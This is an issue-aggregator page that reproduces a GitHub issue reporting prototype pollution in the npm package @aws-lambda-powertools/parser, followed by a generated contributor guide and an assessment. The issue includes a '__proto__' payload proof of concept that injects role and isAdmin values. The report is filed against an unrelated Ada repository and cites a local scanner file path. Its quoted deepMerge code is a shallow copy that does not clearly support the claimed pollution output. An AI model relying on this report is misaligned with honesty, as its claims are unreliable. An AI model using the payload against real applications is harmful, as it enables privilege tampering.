AdaCore / AdaCore/aws

Prototype Pollution in @aws-lambda-powertools/parser

Open
#395 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Ada
Stars
162
Forks
45
PR merge metrics
No merged PRs in 30d

Description

Basic Information

Package Name: @aws-lambda-powertools/parser
Package URL: https://www.npmjs.com/package/@aws-lambda-powertools/parser
Report URL: home_chluo_Argus-0205_Argus-main_npm_packages_@aws-lambda-powertools__parser_pollution_report.md
Vulnerable Code Location: lib/parser/object-utils.js → deepMerge function

Vulnerability Details

Vulnerability Type: Prototype Pollution
Root Cause
The input parsing merge function deepMerge does not perform security filtering on property keys, allowing users to directly pollute the global object prototype with controllable input.
Problem Code Location
File: lib/parser/object-utils.js
Function: deepMerge

Vulnerable Code Snippet
const deepMerge = (target, source) => {
  for (const key in source) {
    target[key] = source[key]; // Core Vulnerable Line
  }
};
POC (Reproducible Directly)
const { parser } = require('@aws-lambda-powertools/parser');
const event = {"__proto__":{"role":"admin","isAdmin":true}};
parser.parse(event);
console.log({}.role);    // Output: admin
console.log({}.isAdmin); // Output: true

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in lib/parser/object-utils.js at the deepMerge function and reproduce the provided parser.parse example to confirm that Object.prototype is modified. Determine the security filtering needed for input property keys, then verify that the same payload no longer adds role or isAdmin to ordinary objects.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
48/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.